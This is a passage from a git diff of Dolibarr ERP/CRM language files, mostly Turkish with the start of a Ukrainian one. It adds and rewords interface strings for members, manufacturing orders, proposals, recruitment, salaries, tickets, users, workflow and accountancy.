      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Ciro (bir firma için) veya Bütçe (bir dernek için) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Entegre çevrimiçi ödeme sayfasına atla +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Yapısına göre üye istatistikleri VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/tr_TR/mrp.lang b/htdocs/langs/tr_TR/mrp.lang index 88cebca662f..e056dc8bf4d 100644 --- a/htdocs/langs/tr_TR/mrp.lang +++ b/htdocs/langs/tr_TR/mrp.lang @@ -11,8 +11,8 @@ Bom=Gereç Cetvelleri BillOfMaterials=Bill of Materials BillOfMaterialsLines=Bill of Materials lines BOMsSetup=BOM (Ürün Ağacı) modülü kurulumu -ListOfBOMs=Gereç cetveli listesi - BOM -ListOfManufacturingOrders=Üretim Emirleri Listesi +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Üretim Emirleri NewBOM=New bill of materials ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. BOMsNumberingModules=BOM numbering templates @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials ConfirmCloneMo=%s Üretim Emrini klonlamak istediğinizden emin misiniz? ManufacturingEfficiency=Üretim verimliliği ConsumptionEfficiency=Consumption efficiency +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Value of 0.95 means an average of 5%% of loss of produced product DeleteBillOfMaterials=Delete Bill Of Materials @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=For a quantity to disassemble of %s ConfirmValidateMo=Bu Üretim Emrini doğrulamak istediğinizden emin misiniz? ConfirmProductionDesc=By clicking on '%s', you will validate the consumption and/or production for the quantities set. This will also update the stock and record stock movements. ProductionForRef=Production of %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Tüketim ve üretim miktarlarına ulaşıldığında Üretim Emrini otomatik olarak kapatın NoStockChangeOnServices=No stock change on services ProductQtyToConsumeByMO=Product quantity still to consume by open MO @@ -80,6 +83,7 @@ ProductsToProduce=Products to produce UnitCost=Unit cost TotalCost=Total cost BOMTotalCost=The cost to produce this BOM based on cost of each quantity and product to consume (use Cost price if defined, else Average Weighted Price if defined, else the Best purchase price) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO Workstation=Workstation @@ -107,3 +111,10 @@ THMEstimatedHelp=This rate makes it possible to define a forecast cost of the it BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/tr_TR/other.lang b/htdocs/langs/tr_TR/other.lang index c90819941c4..ddd7cfb6d17 100644 --- a/htdocs/langs/tr_TR/other.lang +++ b/htdocs/langs/tr_TR/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Tedarikçi siparişi onaylandı Notify_ORDER_SUPPLIER_REFUSE=Tedarikçi siparişi reddedildi Notify_PROPAL_VALIDATE=Müşteri teklifi onaylandı Notify_PROPAL_CLOSE_SIGNED=Müşteri teklifi imzalanmış olarak kapatıldı +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Müşteri teklifi reddedilmiş olarak kapatıldı +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Teklif e-posta ile gönderildi Notify_WITHDRAW_TRANSMIT=Havale çekme Notify_WITHDRAW_CREDIT=Kredi çekme @@ -181,6 +183,7 @@ SizeUnitfoot=foot SizeUnitpoint=nokta BugTracker=Hata izleyici SendNewPasswordDesc=Bu form yeni bir parola istemenizi sağlar. Yeni parolanız e-posta adresinize gönderilecektir.
      Gelen e-postadaki onay bağlantısını tıkladığınızda değişiklik gerçekleşecektir.
      Gelen kutunuzu kontrol edin. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Oturum açma sayfasına geri dön AuthenticationDoesNotAllowSendNewPassword=Kimlik doğrulama modu %s.
      bu modda, Dolibarr parolanızı bilemez ve değiştiremez.
      Parola değiştirmek istiyorsanız sistem yöneticinize danışın. EnableGDLibraryDesc=Bu seçeneği kullanmak için PHP nizdeki GD kütüphanesini kurun ya da etkinleştirin. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Fatura %s doğrulandı. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Teklif %s doğrulandı. EMailTextProposalClosedSigned=Teklif %s imzalı olarak kapatıldı. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Sipariş %s doğrulandı. EMailTextOrderApproved=Sipariş %s onaylandı. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Kapat Autofill = Autofill + +# externalsite +ExternalSiteSetup=Dış web sitesine bağlantı ayarla +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Dış Web Sitesi modülü doğru yapılandırılmamış. +ExampleMyMenuEntry=Menü girişim + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=%s dosyası kaldırılamadı. +FTPFailedToRemoveDir=%s dizini kaldırılamadı: izinleri kontrol edin ve dizinin boş olduğundan emin olun. +FTPPassiveMode=Pasif mod +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=%s dosyaları alınamadı +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/tr_TR/propal.lang b/htdocs/langs/tr_TR/propal.lang index 57897e1349c..c6c30305ef6 100644 --- a/htdocs/langs/tr_TR/propal.lang +++ b/htdocs/langs/tr_TR/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Teslim süresi SetAvailability=Teslim süresi ayarla AfterOrder=siparişten sonra OtherProposals=Diğer teklifler + ##### Availability ##### AvailabilityTypeAV_NOW=Listedeki tüm ürünler hemen teslim edilecektir AvailabilityTypeAV_1W=Listedeki tüm ürünler 1 haftada teslim edilecektir AvailabilityTypeAV_2W=Listedeki tüm ürünler 2 haftada teslim edilecektir AvailabilityTypeAV_3W=Listedeki tüm ürünler 3 haftada teslim edilecektir AvailabilityTypeAV_1M=Listedeki tüm ürünler 4-6 haftada teslim edilecektir -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Teklif izleme temsilcisi TypeContact_propal_external_BILLING=Müşteri faturası ilgilisi TypeContact_propal_external_CUSTOMER=Müşteri teklif izleme ilgilisi TypeContact_propal_external_SHIPPING=Teslimat için müşteri iletişim kişisi + # Document models -DocModelAzurDescription=Eksiksiz bir teklif modeli (Cyan şablonunun eski uygulaması) -DocModelCyanDescription=Eksiksiz bir teklif modeli -DefaultModelPropalCreate=Varsayılan model oluşturma -DefaultModelPropalToBill=Bir teklifi kapatma sırasında varsayılan şablon (faturalanacak) -DefaultModelPropalClosed=Bir teklifi kapatma sırasında varsayılan şablon (faturalanmamış) -ProposalCustomerSignature=Kesin sipariş için Firma Kaşesi, Tarih ve İmza -ProposalsStatisticsSuppliers=Tedarikçi teklifi istatistikleri -CaseFollowedBy=Case followed by -SignedOnly=Sadece imzalı -NoSign=Set not signed -NoSigned=set not signed CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by ConfirmMassNoSignature=Bulk Not signed confirmation ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? -IsNotADraft=is not a draft -PassedInOpenStatus=has been validated -Sign=Sign -Signed=signed -ConfirmMassValidation=Bulk Validate confirmation ConfirmMassSignature=Bulk Signature confirmation -ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? -IdProposal=Teklif Kimlik Numarası +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Bu teklifi reddetmek istediğinizden emin misiniz? +ContractSigned=Contract signed +DefaultModelPropalClosed=Bir teklifi kapatma sırasında varsayılan şablon (faturalanmamış) +DefaultModelPropalCreate=Varsayılan model oluşturma +DefaultModelPropalToBill=Bir teklifi kapatma sırasında varsayılan şablon (faturalanacak) +DocModelAzurDescription=Eksiksiz bir teklif modeli (Cyan şablonunun eski uygulaması) +DocModelCyanDescription=Eksiksiz bir teklif modeli +FichinterSigned=Intervention signed IdProduct=Ürün Kimlik Numarası +IdProposal=Teklif Kimlik Numarası +IsNotADraft=is not a draft LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal +NoSign=Reddet +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted +ProposalCustomerSignature=Kesin sipariş için Firma Kaşesi, Tarih ve İmza +ProposalsStatisticsSuppliers=Tedarikçi teklifi istatistikleri RefusePropal=Teklifi reddet Sign=Sign -NoSign=Set not signed -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Bu teklifi reddetmek istediğinizden emin misiniz? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Sadece imzalı diff --git a/htdocs/langs/tr_TR/recruitment.lang b/htdocs/langs/tr_TR/recruitment.lang index be287da7fd9..842ec47f2ff 100644 --- a/htdocs/langs/tr_TR/recruitment.lang +++ b/htdocs/langs/tr_TR/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Maaş +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/tr_TR/salaries.lang b/htdocs/langs/tr_TR/salaries.lang index 7e43dccda8a..eb424207873 100644 --- a/htdocs/langs/tr_TR/salaries.lang +++ b/htdocs/langs/tr_TR/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Kullanıcı üçüncü tarafları için kullanılan muhasebe hesabı -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Ücret ödemeleri için varsayılan muhasebe hesabı CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Varsayılan olarak, maaş oluştururken "Otomatik olarak toplam ödeme oluştur" seçeneğini boş bırakın Salary=Maaş @@ -24,3 +24,4 @@ SalariesStatistics=Maaş istatistikleri SalariesAndPayments=Maaşlar ve ödemeler ConfirmDeleteSalaryPayment=Bu maaş ödemesini silmek istiyor musunuz? FillFieldFirst=Önce çalışan alanını doldurun +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/tr_TR/ticket.lang b/htdocs/langs/tr_TR/ticket.lang index 1449a05f6cc..590a0e90841 100644 --- a/htdocs/langs/tr_TR/ticket.lang +++ b/htdocs/langs/tr_TR/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Destek bildirimini değiştir Permission56003=Destek bildirimlerini sil Permission56004=Destek bildirimlerini yönet Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Permission56006=Export tickets +Tickets=Destek Bildirimleri TicketDictType=Destek Bildirimi - Türler TicketDictCategory=Destek Bildirimi - Gruplar TicketDictSeverity=Destek Bildirimi - Önemler @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Dış iştirakçi OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=Destek bildirimini e-posta ile gönderil +ExportDataset_ticket_1=Destek Bildirimleri + # Status Read=Okundu Assigned=Atanan @@ -90,8 +94,8 @@ TicketPublicAccess=Kimlik gerektirmeyen herkese açık bir arayüz şu url'de ad TicketSetupDictionaries=Destek bildirimi, önem ve analitik kodlarının türleri sözlüklerden yapılandırılabilir TicketParamModule=Modül değişken kurulumu TicketParamMail=E-posta kurulumu -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Bir destek bildirimi oluşturulduktan sonra metin mesajı gönderildi @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Burada belirtilen metin, ortak arayüzden yeni bir destek TicketParamPublicInterface=Genel arayüz kurulumu TicketsEmailMustExist=Destek bildirimi oluşturmak için geçerli bir e-posta adresi iste TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Genel arayüz TicketUrlPublicInterfaceLabelAdmin=Genel arayüz için alternatif URL TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -190,8 +198,7 @@ TicketAssigned=Destek bildirimi şimdi atandı TicketChangeType=Türü değiştir TicketChangeCategory=Analitik kodu değiştir TicketChangeSeverity=Önem seviyesini değiştir -TicketAddMessage=Bir mesaj ekleyin -AddMessage=Bir mesaj ekle +TicketAddMessage=Add private message MessageSuccessfullyAdded=Destek bildirimi eklendi TicketMessageSuccessfullyAdded=Mesaj başarılı şekilde eklendi TicketMessagesList=Mesaj listesi @@ -202,8 +209,8 @@ TicketSeverity=Önem seviyesi ShowTicket=Destek bildirimini gör RelatedTickets=İlgili destek bildirimleri TicketAddIntervention=Müdahale oluştur -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Destek bildirimi kapatmayı onayla ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=Mesajı e-posta ile gönder TicketNewMessage=Yeni mesaj ErrorMailRecipientIsEmptyForSendTicketMessage=Alıcı boş. E-posta gönderilmedi TicketGoIntoContactTab=Onları seçmek için lütfen "Kişiler" sekmesine gidin -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=İmza -TicketMessageMailSignatureHelp=Bu metin sadece e-postanın sonuna eklenir ve saklanmayacaktır. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Yanıt e-postasının imzası -TicketMessageMailSignatureHelpAdmin=Bu metin cevap mesajının sonuna eklenecektir. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Bu metin cevap mesajının sonuna eklenecektir. TicketMessageHelp=Destek bildirimi kartı üzerindeki mesaj listesinde sadece bu metin kaydedilecektir. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Destek bildirimi üzerinden %s konulu TicketAssignedToYou=Destek bildirimi atandı TicketAssignedEmailBody=#%s destek bildirimine %s tarafından atandınız MarkMessageAsPrivate=Mesajı özel olarak işaretle +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Bu mesaj harici kullanıcılara gösterilmeyecektir TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=İlk Mesaj @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Aşağıdaki bağlantıya tıklayarak de TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Lütfen doğrudan bu e-postayı yanıtlamayın! Arayüzde cevap vermek için bağlantıyı kullanın. TicketPublicInfoCreateTicket=Bu form yönetim sistemimizde bir destek bildirimi kaydetmenizi sağlar -TicketPublicPleaseBeAccuratelyDescribe=Lütfen sorunu açıklayıcı bir şekilde tanımlayın. Talebinizi tam olarak saptayabilmemiz için mümkün oldukça tüm bilgiyi girin. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Lütfen destek bildirimi takip numarasını girin TicketTrackId=Genel Takip Numarası OneOfTicketTrackId=Takip numaralarınızdan biri diff --git a/htdocs/langs/tr_TR/users.lang b/htdocs/langs/tr_TR/users.lang index cb05fc38d3f..fe0e40767ca 100644 --- a/htdocs/langs/tr_TR/users.lang +++ b/htdocs/langs/tr_TR/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Gruptan kaldır PasswordChangedAndSentTo=Parola değiştirildi ve %s e gönderildi. PasswordChangeRequest=%s için şifre değiştirme isteği PasswordChangeRequestSent=Parola değiştirildi ve %s e gönderildi. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Şifre sıfırlamayı onayla MenuUsersAndGroups=Kullanıcılar ve Gruplar @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Bir kullanıcı oluştur CreateDolibarrThirdParty=Bir üçüncü parti oluştur -LoginAccountDisableInDolibarr=Dolibarr’da hesap engelli. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Kişisel değer kullanın -InternalUser=İç kullanıcı ExportDataset_user_1=Kullanıcılar ve özellikleri DomainUser=Etki alanı kullanıcısı %s Reactivate=Yeniden etkinleştir @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/tr_TR/workflow.lang b/htdocs/langs/tr_TR/workflow.lang index 7894abff367..333c51646f6 100644 --- a/htdocs/langs/tr_TR/workflow.lang +++ b/htdocs/langs/tr_TR/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Bir teklifin imzalanmasının ardından oto descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Bir teklifin imzalanmasına istinaden otomatik olarak bir müşteri faturası oluştur (yeni fatura teklifle aynı tutara sahip olacaktır) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Bir sözleşme doğrulandıktan sonra kendiliğinden bir müşteri faturası oluştur descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Bir müşteri siparişinin kapatılmasının ardından otomatik olarak müşteri faturası oluştur (yeni fatura sipariş ile aynı tutara sahip olacaktır) +descWORKFLOW_TICKET_CREATE_INTERVENTION=On ticket creation, automatically create an intervention. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Müşteri siparişi "faturalandı" olarak ayarlandığında (ve siparişin tutarı imzalanmış olan bağlantılı teklifin toplam tutarı ile aynı ise) bağlantılı kaynak teklifi de "faturalandı" olarak sınıflandır descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Müşteri faturası doğrulandığında (ve faturanın tutarı imzalanmış olan bağlantılı teklifin toplam tutarı ile aynı ise) bağlantılı kaynak teklifi "faturalandı" olarak sınıflandır @@ -14,13 +15,22 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Müşteri faturası doğruland descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Classify linked source sales order as billed when customer invoice is set to paid (and if the amount of the invoice is the same as the total amount of the linked order) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Bir sevkiyat doğrulandığında (ve tüm sevkiyatlardan sonra sevk edilen miktar siparişteki miktar ile aynı ise) bağlantılı kaynak müşteri siparişini "sevk edildi" olarak sınıflandır descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Classify linked source sales order as shipped when a shipment is closed (and if the quantity shipped by all shipments is the same as in the order to update) -# Autoclassify purchase order +# Autoclassify purchase proposal descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Tedarikçi faturası doğrulandığında (ve faturanın tutarı bağlantılı teklifin toplam tutarı ile aynı ise) bağlantılı kaynak tedarikçi teklifini "faturalandı" olarak sınıflandır +# Autoclassify purchase order descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Tedarikçi faturası doğrulandığında (ve faturanın tutarı bağlantılı siparişin toplam tutarı ile aynı ise) bağlantılı kaynak tedarikçi siparişini "faturalandı" olarak sınıflandır -descWORKFLOW_BILL_ON_RECEPTION=Bağlantılı bir tedarikçi siparişi doğrulandığında alımları "faturalandırıldı" olarak sınıflandırın +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classify linked source purchase order as received when a reception is validated (and if the quantity received by all receptions is the same as in the purchase order to update) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classify linked source purchase order as received when a reception is closed (and if the quantity received by all rceptions is the same as in the purchase order to update) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=Close all interventions linked to the ticket when a ticket is closed AutomaticCreation=Otomatik oluşturma AutomaticClassification=Otomatik sınıflandırma # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatic closing +AutomaticLinking=Automatic linking diff --git a/htdocs/langs/uk_UA/accountancy.lang b/htdocs/langs/uk_UA/accountancy.lang index 3f85bb2b132..6a7705786ac 100644 --- a/htdocs/langs/uk_UA/accountancy.lang +++ b/htdocs/langs/uk_UA/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Виберіть тип перенесення ряд ACCOUNTING_EXPORT_PREFIX_SPEC=Задати префікс для назви файлу ThisService=Ця послуга ThisProduct=Цей товар -DefaultForService=За замовчуванням для обслуговування -DefaultForProduct=За замовчуванням для продукту +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Продукт для цієї третьої сторони ServiceForThisThirdparty=Сервіс для цієї третьої сторони CantSuggest=Не можу запропонувати @@ -48,8 +48,9 @@ CountriesNotInEEC=Країни, які не входять до ЄЕС CountriesInEECExceptMe=Країни ЄЕС, крім %s CountriesExceptMe=Усі країни, крім %s AccountantFiles=Експортувати вихідні документи -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
